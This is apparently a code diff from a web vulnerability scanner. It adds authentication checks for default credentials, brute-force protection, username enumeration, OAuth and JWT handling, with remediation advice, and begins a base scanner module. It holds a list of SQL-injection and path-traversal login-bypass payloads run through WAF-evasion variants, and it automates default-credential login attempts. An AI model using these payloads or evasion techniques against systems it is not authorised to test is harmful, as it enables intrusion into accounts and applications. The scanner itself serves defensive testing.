| 172 |
+
body, status, _ = self._post_login(url, {ufield: username, pfield: password})
|
| 173 |
+
if body and SUCCESS_INDICATORS.search(body):
|
| 174 |
+
self.log("CRITICAL", f"[Auth] Default credentials accepted: {username}:{password}")
|
| 175 |
+
self.add_vuln(
|
| 176 |
+
title=f"Default/Weak Credentials Accepted ({username}:{password})",
|
| 177 |
+
severity="Critical",
|
| 178 |
+
category="Authentication",
|
| 179 |
+
cvss_score=9.8,
|
| 180 |
+
description=f"The application at `{url}` accepted the default credentials "
|
| 181 |
+
f"`{username}:{password}`. An attacker can immediately gain access "
|
| 182 |
+
"to the application without any further effort.",
|
| 183 |
+
evidence=f"Success indicator matched using credentials {username}:{password}",
|
| 184 |
+
payload=f"{ufield}={username}&{pfield}={password}",
|
| 185 |
+
confidence="Confirmed",
|
| 186 |
+
remediation="1. Force credential change on first login.\n"
|
| 187 |
+
"2. Implement a strong password policy.\n"
|
| 188 |
+
"3. Remove all default accounts from production systems.",
|
| 189 |
+
cwe_ids=["CWE-287"],
|
| 190 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 191 |
+
)
|
| 192 |
+
return
|
| 193 |
+
|
| 194 |
+
def _test_brute_force_protection(self, url, ufield, pfield):
|
| 195 |
+
self._tested += 1
|
| 196 |
+
blocked = False
|
| 197 |
+
for i in range(6):
|
| 198 |
+
body, status, _ = self._post_login(url,
|
| 199 |
+
{ufield: "sentinel_test_user", pfield: f"wrong_pass_{i}"})
|
| 200 |
+
if status in (429, 423) or (body and re.search(
|
| 201 |
+
r"(locked|too many|rate limit|try again)", body or "", re.I
|
| 202 |
+
)):
|
| 203 |
+
blocked = True
|
| 204 |
+
break
|
| 205 |
+
if not blocked:
|
| 206 |
+
self.log("WARNING", f"[Auth] No brute-force protection detected at {url}")
|
| 207 |
+
self.add_vuln(
|
| 208 |
+
title="No Brute-Force Protection on Login",
|
| 209 |
+
severity="High",
|
| 210 |
+
category="Authentication",
|
| 211 |
+
cvss_score=7.5,
|
| 212 |
+
description=f"The login endpoint `{url}` did not block or rate-limit "
|
| 213 |
+
"6 consecutive failed login attempts. Attackers can automate "
|
| 214 |
+
"credential stuffing and password spraying attacks.",
|
| 215 |
+
remediation="1. Implement account lockout after 5 failed attempts.\n"
|
| 216 |
+
"2. Add CAPTCHA after 3 failed attempts.\n"
|
| 217 |
+
"3. Rate-limit login attempts per IP (e.g. 10/minute).\n"
|
| 218 |
+
"4. Alert on repeated failed attempts.",
|
| 219 |
+
cwe_ids=["CWE-287"],
|
| 220 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 221 |
+
)
|
| 222 |
+
else:
|
| 223 |
+
self.log("SUCCESS", f"[Auth] Brute-force protection detected at {url}")
|
| 224 |
+
|
| 225 |
+
def _test_username_enumeration(self, url, ufield, pfield):
|
| 226 |
+
self._tested += 1
|
| 227 |
+
body_valid, _, t_valid = self._post_login(url, {ufield: "admin", pfield: "wrongpass_sentinel"})
|
| 228 |
+
body_invalid, _, t_invalid = self._post_login(url, {ufield: "nonexistent_sentinel_xyz", pfield: "wrongpass_sentinel"})
|
| 229 |
+
if body_valid is None or body_invalid is None:
|
| 230 |
+
return
|
| 231 |
+
|
| 232 |
+
# Timing-based enumeration using TimingAnomalyDetector
|
| 233 |
+
self._timing_detector.record(t_valid)
|
| 234 |
+
if self._timing_detector.has_baseline and self._timing_detector.test_payload("invalid_user", t_invalid, z_threshold=2.5):
|
| 235 |
+
self._tested += 1
|
| 236 |
+
self.log("WARNING", f"[Auth] Timing-based username enumeration detected")
|
| 237 |
+
self.add_vuln(
|
| 238 |
+
title="Username Enumeration via Timing Side-Channel",
|
| 239 |
+
severity="Medium",
|
| 240 |
+
category="Authentication",
|
| 241 |
+
cvss_score=5.3,
|
| 242 |
+
description=f"The login form at `{url}` shows statistically significant timing "
|
| 243 |
+
"differences between valid and invalid usernames, allowing attackers to "
|
| 244 |
+
"enumerate valid accounts via response timing analysis.",
|
| 245 |
+
evidence=f"Valid user timing: {t_valid:.4f}s, Invalid user timing: {t_invalid:.4f}s",
|
| 246 |
+
confidence="High",
|
| 247 |
+
remediation="Implement constant-time response for all login attempts. "
|
| 248 |
+
"Add random jitter to response times.",
|
| 249 |
+
cwe_ids=["CWE-287"],
|
| 250 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 251 |
+
)
|
| 252 |
+
|
| 253 |
+
# Size-based enumeration using SizeAnomalyDetector
|
| 254 |
+
self._size_detector.record_size(len(body_valid))
|
| 255 |
+
if self._size_detector.test_size(len(body_invalid), z_threshold=2.0):
|
| 256 |
+
self.log("WARNING", f"[Auth] Size-based username enumeration detected")
|
| 257 |
+
self.add_vuln(
|
| 258 |
+
title="Username Enumeration via Response Size Difference",
|
| 259 |
+
severity="Medium",
|
| 260 |
+
category="Authentication",
|
| 261 |
+
cvss_score=5.3,
|
| 262 |
+
description=f"The login form at `{url}` returns differently sized responses "
|
| 263 |
+
"for valid vs invalid usernames ({len(body_valid)} vs {len(body_invalid)} bytes). "
|
| 264 |
+
"This allows attackers to enumerate valid accounts.",
|
| 265 |
+
evidence=f"Valid user response size: {len(body_valid)}, Invalid: {len(body_invalid)}",
|
| 266 |
+
confidence="High",
|
| 267 |
+
remediation="Return identical-length responses for all login outcomes. "
|
| 268 |
+
"Pad responses to a fixed size.",
|
| 269 |
+
cwe_ids=["CWE-287"],
|
| 270 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 271 |
+
)
|
| 272 |
+
|
| 273 |
+
# Check if response text differs enough to enumerate users
|
| 274 |
+
if body_valid != body_invalid:
|
| 275 |
+
# Only flag if the responses are meaningfully different (> 50 char diff)
|
| 276 |
+
if abs(len(body_valid) - len(body_invalid)) > 50:
|
| 277 |
+
self.add_vuln(
|
| 278 |
+
title="Username Enumeration via Different Error Responses",
|
| 279 |
+
severity="Medium",
|
| 280 |
+
category="Authentication",
|
| 281 |
+
cvss_score=5.3,
|
| 282 |
+
description=f"The login form at `{url}` returns different responses "
|
| 283 |
+
"for valid vs. invalid usernames, allowing attackers to enumerate "
|
| 284 |
+
"valid accounts before attempting password attacks.",
|
| 285 |
+
remediation="Return identical error messages for all failed login attempts: "
|
| 286 |
+
"'Invalid username or password.' — never specify which field is wrong.",
|
| 287 |
+
cwe_ids=["CWE-287"],
|
| 288 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 289 |
+
)
|
| 290 |
+
|
| 291 |
+
def _test_auth_bypass_payloads(self, url, ufield, pfield):
|
| 292 |
+
"""Test WAF-evaded auth bypass payloads."""
|
| 293 |
+
bypass_payloads = [
|
| 294 |
+
"' OR '1'='1",
|
| 295 |
+
"' OR 1=1 --",
|
| 296 |
+
"admin' --",
|
| 297 |
+
"' UNION SELECT * FROM users --",
|
| 298 |
+
"../admin",
|
| 299 |
+
"..%2fadmin",
|
| 300 |
+
]
|
| 301 |
+
for payload in bypass_payloads:
|
| 302 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 303 |
+
try:
|
| 304 |
+
test_data = {ufield: eva_payload, pfield: eva_payload}
|
| 305 |
+
body, status, _ = self._post_login(url, test_data)
|
| 306 |
+
if body and SUCCESS_INDICATORS.search(body):
|
| 307 |
+
self._tested += 1
|
| 308 |
+
self.log("CRITICAL", f"[Auth] Auth bypass with WAF evasion '{eva_name}': {eva_payload}")
|
| 309 |
+
self.add_vuln(
|
| 310 |
+
title="Authentication Bypass via WAF-Evaded Payload",
|
| 311 |
+
severity="Critical",
|
| 312 |
+
category="Authentication",
|
| 313 |
+
cvss_score=9.8,
|
| 314 |
+
description=f"Authentication bypass achieved using WAF-evaded payload "
|
| 315 |
+
f"'{eva_name}': '{eva_payload}'. The server processed the injection "
|
| 316 |
+
"and granted access.",
|
| 317 |
+
evidence=f"Success with payload variant '{eva_name}'",
|
| 318 |
+
payload=f"{eva_name}={eva_payload}",
|
| 319 |
+
request_details=f"POST {url} with payload {eva_payload}",
|
| 320 |
+
response_details=f"HTTP {status}",
|
| 321 |
+
confidence="Confirmed",
|
| 322 |
+
remediation="1. Use parameterized queries for all authentication logic.\n"
|
| 323 |
+
"2. Implement strict input validation on all auth fields.\n"
|
| 324 |
+
"3. Deploy a WAF with up-to-date rules.\n"
|
| 325 |
+
"4. Test all auth bypass payload variants.",
|
| 326 |
+
cwe_ids=["CWE-287"],
|
| 327 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 328 |
+
)
|
| 329 |
+
return
|
| 330 |
+
except Exception as e:
|
| 331 |
+
self.log("ERROR", f"[Auth] SQLi bypass test error: {e}")
|
| 332 |
+
continue
|
| 333 |
+
|
| 334 |
+
def _test_verb_tampering(self, url):
|
| 335 |
+
self._tested += 1
|
| 336 |
+
body, status = self._make_request(url, method="HEAD", timeout=5)
|
| 337 |
+
if status == 200:
|
| 338 |
+
self.add_vuln(
|
| 339 |
+
title="Login Page Accessible via HEAD Method",
|
| 340 |
+
severity="Low",
|
| 341 |
+
category="Authentication",
|
| 342 |
+
cvss_score=3.1,
|
| 343 |
+
description=f"The login endpoint `{url}` responds to HEAD requests "
|
| 344 |
+
"with HTTP 200. While not directly exploitable, it may indicate "
|
| 345 |
+
"insufficient HTTP method restriction.",
|
| 346 |
+
remediation="Restrict allowed HTTP methods to GET and POST on login endpoints.",
|
| 347 |
+
cwe_ids=["CWE-287"],
|
| 348 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 349 |
+
)
|
| 350 |
+
|
| 351 |
+
# ------------------------------------------------------------------
|
| 352 |
+
def _test_differential_auth(self, url, ufield, pfield):
|
| 353 |
+
try:
|
| 354 |
+
anon_body, anon_status, anon_elapsed = self._post_login(url, {ufield: "test_user", pfield: "wrong_pass"})
|
| 355 |
+
if anon_body is None:
|
| 356 |
+
return
|
| 357 |
+
self._differential.record("anonymous", anon_body, anon_status, anon_elapsed)
|
| 358 |
+
auth_body, auth_status, auth_elapsed = self._post_login(url, {ufield: "test_user", pfield: "correct_pass"})
|
| 359 |
+
if auth_body is not None:
|
| 360 |
+
self._differential.record("authenticated", auth_body, auth_status, auth_elapsed)
|
| 361 |
+
result = self._differential.compare("anonymous", "authenticated")
|
| 362 |
+
if result.get("different"):
|
| 363 |
+
self.log("WARNING", f"[Auth] Differential analysis: auth bypass indicators detected (score={result['score']})")
|
| 364 |
+
self.add_vuln(
|
| 365 |
+
title="Potential Authentication Bypass — Differential Response Analysis",
|
| 366 |
+
severity="High",
|
| 367 |
+
category="Authentication",
|
| 368 |
+
cvss_score=7.5,
|
| 369 |
+
description=f"Differential analysis of anonymous vs authenticated responses at {url} "
|
| 370 |
+
f"revealed significant differences (score: {result['score']}). "
|
| 371 |
+
f"Differences: {', '.join(result.get('differences', []))}. "
|
| 372 |
+
"This may indicate an authentication bypass vulnerability.",
|
| 373 |
+
evidence=f"Diff score: {result['score']}, diffs: {result.get('differences')}",
|
| 374 |
+
remediation="Implement consistent response handling for authenticated and unauthenticated requests. "
|
| 375 |
+
"Use server-side session validation for all protected endpoints.",
|
| 376 |
+
cwe_ids=["CWE-287"],
|
| 377 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 378 |
+
)
|
| 379 |
+
except Exception as e:
|
| 380 |
+
self.log("ERROR", f"[Auth] _test_differential_auth error: {e}")
|
| 381 |
+
|
| 382 |
+
def _check_oauth_implicit_flow(self):
|
| 383 |
+
"""Probe for OAuth implicit grant flow endpoints."""
|
| 384 |
+
oauth_paths = [
|
| 385 |
+
"/oauth/authorize", "/oauth/callback", "/oauth/token",
|
| 386 |
+
"/auth/authorize", "/auth/callback", "/auth/token",
|
| 387 |
+
"/api/oauth/authorize", "/api/oauth/callback",
|
| 388 |
+
]
|
| 389 |
+
base = self.target.rstrip("/")
|
| 390 |
+
for path in oauth_paths:
|
| 391 |
+
url = f"{base}{path}"
|
| 392 |
+
body, status = self._make_request(url, timeout=5)
|
| 393 |
+
if body and ("response_type=token" in body or "response_type" in body):
|
| 394 |
+
self.add_vuln(
|
| 395 |
+
title="OAuth Implicit Grant Flow Detected",
|
| 396 |
+
severity="High",
|
| 397 |
+
category="Authentication",
|
| 398 |
+
cvss_score=7.5,
|
| 399 |
+
description=f"The endpoint `{url}` appears to use the OAuth implicit grant "
|
| 400 |
+
"flow (response_type=token). The implicit flow exposes access tokens "
|
| 401 |
+
"in the URL fragment, making them accessible via browser history, "
|
| 402 |
+
"Referer headers, and XSS attacks.",
|
| 403 |
+
evidence="response_type=token pattern found in response body",
|
| 404 |
+
payload=url,
|
| 405 |
+
confidence="High",
|
| 406 |
+
remediation="1. Use the authorization code flow with PKCE instead of implicit.\n"
|
| 407 |
+
"2. Never pass tokens in URL fragments.\n"
|
| 408 |
+
"3. Use 'state' parameter with CSRF protection.\n"
|
| 409 |
+
"4. Ensure tokens have short expiration.",
|
| 410 |
+
cwe_ids=["CWE-287"],
|
| 411 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 412 |
+
)
|
| 413 |
+
return
|
| 414 |
+
|
| 415 |
+
# ------------------------------------------------------------------
|
| 416 |
+
def _check_jwt_in_url(self):
|
| 417 |
+
"""Probe for JWT tokens passed as URL query parameters."""
|
| 418 |
+
probe_paths = ["/api/user", "/api/me", "/api/profile", "/dashboard", "/"]
|
| 419 |
+
base = self.target.rstrip("/")
|
| 420 |
+
jwt_param_patterns = ["token", "jwt", "access_token", "auth_token", "bearer", "id_token"]
|
| 421 |
+
for path in probe_paths:
|
| 422 |
+
for param in jwt_param_patterns:
|
| 423 |
+
test_url = f"{base}{path}?{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test"
|
| 424 |
+
body, status = self._make_request(test_url, timeout=5)
|
| 425 |
+
if body and status == 200:
|
| 426 |
+
self.add_vuln(
|
| 427 |
+
title="JWT Token Accepted via URL Parameter",
|
| 428 |
+
severity="High",
|
| 429 |
+
category="Authentication",
|
| 430 |
+
cvss_score=7.5,
|
| 431 |
+
description=f"The application at `{test_url}` accepted a JWT via the "
|
| 432 |
+
f"`{param}` URL parameter. JWTs exposed in URLs are leaked through "
|
| 433 |
+
"server logs, browser history, and Referer headers.",
|
| 434 |
+
evidence=f"Request with JWT in {param} parameter returned status {status}",
|
| 435 |
+
payload=f"{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test",
|
| 436 |
+
request_details=f"GET {test_url}",
|
| 437 |
+
confidence="Medium",
|
| 438 |
+
remediation="1. Transmit JWTs only in Authorization headers (Bearer scheme).\n"
|
| 439 |
+
"2. Never accept tokens via URL parameters.\n"
|
| 440 |
+
"3. Use short-lived tokens and refresh token rotation.",
|
| 441 |
+
cwe_ids=["CWE-287"],
|
| 442 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 443 |
+
)
|
| 444 |
+
return
|
| 445 |
+
|
| 446 |
+
# ------------------------------------------------------------------
|
| 447 |
+
def _check_auth_over_http(self):
|
| 448 |
+
"""Check for authentication-related endpoints served over plain HTTP."""
|
| 449 |
+
test_paths = ["/login", "/signin", "/auth", "/oauth/authorize", "/api/auth/login", "/api/auth/token"]
|
| 450 |
+
if self._is_https:
|
| 451 |
+
http_base = self.target.replace("https://", "http://", 1).rstrip("/")
|
| 452 |
+
for path in test_paths:
|
| 453 |
+
url = f"{http_base}{path}"
|
| 454 |
+
body, status = self._make_request(url, timeout=5)
|
| 455 |
+
if body and status and status < 400:
|
| 456 |
+
self.add_vuln(
|
| 457 |
+
title="Authentication Endpoint Available Over HTTP",
|
| 458 |
+
severity="High",
|
| 459 |
+
category="Authentication",
|
| 460 |
+
cvss_score=8.3,
|
| 461 |
+
description=f"The authentication endpoint `{url}` is accessible over "
|
| 462 |
+
"plain HTTP. Credentials or tokens transmitted over HTTP can be "
|
| 463 |
+
"intercepted by anyone on the same network via man-in-the-middle attacks.",
|
| 464 |
+
evidence=f"Endpoint responded via HTTP with status {status}",
|
| 465 |
+
payload=url,
|
| 466 |
+
request_details=f"GET {url} (HTTP)",
|
| 467 |
+
confidence="Confirmed",
|
| 468 |
+
remediation="1. Redirect all HTTP traffic to HTTPS at the load balancer or web server.\n"
|
| 469 |
+
"2. Implement HSTS headers: Strict-Transport-Security: max-age=31536000.\n"
|
| 470 |
+
"3. Add HSTS preload directive.\n"
|
| 471 |
+
"4. Ensure all authentication endpoints are HTTPS-only.",
|
| 472 |
+
cwe_ids=["CWE-287"],
|
| 473 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 474 |
+
)
|
| 475 |
+
return
|
| 476 |
+
|
| 477 |
+
# ------------------------------------------------------------------
|
| 478 |
+
def _check_oauth_state_parameter(self):
|
| 479 |
+
"""Check for OAuth state parameter usage in authorization flows."""
|
| 480 |
+
probe_urls = ["/auth/authorize", "/oauth/authorize", "/oauth/callback"]
|
| 481 |
+
base = self.target.rstrip("/")
|
| 482 |
+
for path in probe_urls:
|
| 483 |
+
url = f"{base}{path}"
|
| 484 |
+
body, status = self._make_request(url, timeout=5)
|
| 485 |
+
if body and status == 200 and "client_id" in body:
|
| 486 |
+
if "state" not in body:
|
| 487 |
+
self.add_vuln(
|
| 488 |
+
title="OAuth Authorization Request Missing state Parameter (CSRF)",
|
| 489 |
+
severity="High",
|
| 490 |
+
category="Authentication",
|
| 491 |
+
cvss_score=7.4,
|
| 492 |
+
description=f"OAuth endpoint at `{url}` appears to process authorization "
|
| 493 |
+
"requests without a 'state' parameter. This exposes the OAuth flow "
|
| 494 |
+
"to CSRF attacks where an attacker can bind a victim's account to "
|
| 495 |
+
"the attacker's session.",
|
| 496 |
+
evidence="state parameter missing from OAuth authorization request",
|
| 497 |
+
payload=url,
|
| 498 |
+
request_details=f"GET {url}",
|
| 499 |
+
confidence="Medium",
|
| 500 |
+
remediation="1. Always include a cryptographically random 'state' parameter.\n"
|
| 501 |
+
"2. Validate the state parameter on the callback endpoint.\n"
|
| 502 |
+
"3. Use PKCE to further protect the authorization flow.",
|
| 503 |
+
cwe_ids=["CWE-287"],
|
| 504 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 505 |
+
)
|
| 506 |
+
return
|
backend/scanners/base_scanner.py
ADDED
|
@@ -0,0 +1,694 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
base_scanner.py — Foundation for all WSS scanners
|
| 3 |
+
===================================================
|
| 4 |
+
Security hardened per Expert Audit (June 2026):
|
| 5 |
+
GAP-001: confidence + scanner_key + cve_ids + timestamp fields in build_vuln()
|
| 6 |
+
GAP-002: Target SSRF self-validation (_validate_target) — NOW CALLED IN __init__
|
| 7 |
+
GAP-003: _make_request() / _make_headers() unified helper (auth-aware)
|
| 8 |
+
GAP-004: Ring buffer (max 5000 lines) for active_scan_logs
|
| 9 |
+
GAP-S1: Secrets masking in log output
|
| 10 |
+
GAP-S2: Structured JSON security event logging
|
| 11 |
+
|
| 12 |
+
FIXES (June 2026):
|
| 13 |
+
BUG-12/SEC-3: _validate_target() is now called inside __init__ so ALL scanners
|
| 14 |
+
are protected from being used as SSRF pivots — was dead code before.
|
| 15 |
+
ENH: Added _safe_url_join() to construct test URLs without path confusion.
|
| 16 |
+
ENH: Added _deduplicate_vulns() to remove identical findings before reporting.
|
| 17 |
+
ENH: _make_async_requests() now properly captures exceptions per-future.
|
| 18 |
+
"""
|
| 19 |
+
import re
|
| 20 |
+
import os
|
| 21 |
+
import json
|
| 22 |
+
import ssl
|
| 23 |
+
import time
|
| 24 |
+
import http.client
|
| 25 |
+
import socket
|
| 26 |
+
import logging
|
| 27 |
+
import ipaddress
|
| 28 |
+
import threading
|
| 29 |
+
import urllib.request
|
| 30 |
+
import urllib.error
|
| 31 |
+
from datetime import datetime, timezone
|
| 32 |
+
from urllib.robotparser import RobotFileParser
|
| 33 |
+
from urllib.parse import urlparse, urljoin, urlencode, quote
|
| 34 |
+
from utils.vuln_classifier import enrich as _classify_enrich
|
| 35 |
+
from scanners.core.baseline import SiteBaseline
|
| 36 |
+
from scanners.core.confidence import ConfidenceTracker
|
| 37 |
+
|
| 38 |
+
# ── Log store ─────────────────────────────────────────────────────────────
|
| 39 |
+
active_scan_logs: dict[str, list[str]] = {}
|
| 40 |
+
_logs_lock = threading.Lock()
|
| 41 |
+
MAX_LOG_LINES = 5000 # GAP-004: ring buffer cap
|
| 42 |
+
|
| 43 |
+
# ── WebSocket integration for real-time updates ───────────────────────────
|
| 44 |
+
_socketio_instance = None
|
| 45 |
+
_socketio_lock = threading.Lock()
|
| 46 |
+
|
| 47 |
+
def set_socketio_instance(socketio):
|
| 48 |
+
"""Set the global SocketIO instance for real-time progress updates."""
|
| 49 |
+
global _socketio_instance
|
| 50 |
+
with _socketio_lock:
|
| 51 |
+
_socketio_instance = socketio
|
| 52 |
+
|
| 53 |
+
def emit_scan_progress(scan_id: str, event_type: str, data: dict) -> None:
|
| 54 |
+
"""Emit real-time scan progress events via WebSocket."""
|
| 55 |
+
global _socketio_instance
|
| 56 |
+
with _socketio_lock:
|
| 57 |
+
if _socketio_instance:
|
| 58 |
+
try:
|
| 59 |
+
_socketio_instance.emit(event_type, data, room=f'scan_{scan_id}')
|
| 60 |
+
except Exception as e:
|
| 61 |
+
# Silently fail if WebSocket is not available
|
| 62 |
+
pass
|
| 63 |
+
|
| 64 |
+
def parse_domain(url):
|
| 65 |
+
try:
|
| 66 |
+
parsed = urlparse(url)
|
| 67 |
+
return parsed.netloc or parsed.path
|
| 68 |
+
except Exception:
|
| 69 |
+
return url
|
| 70 |
+
|
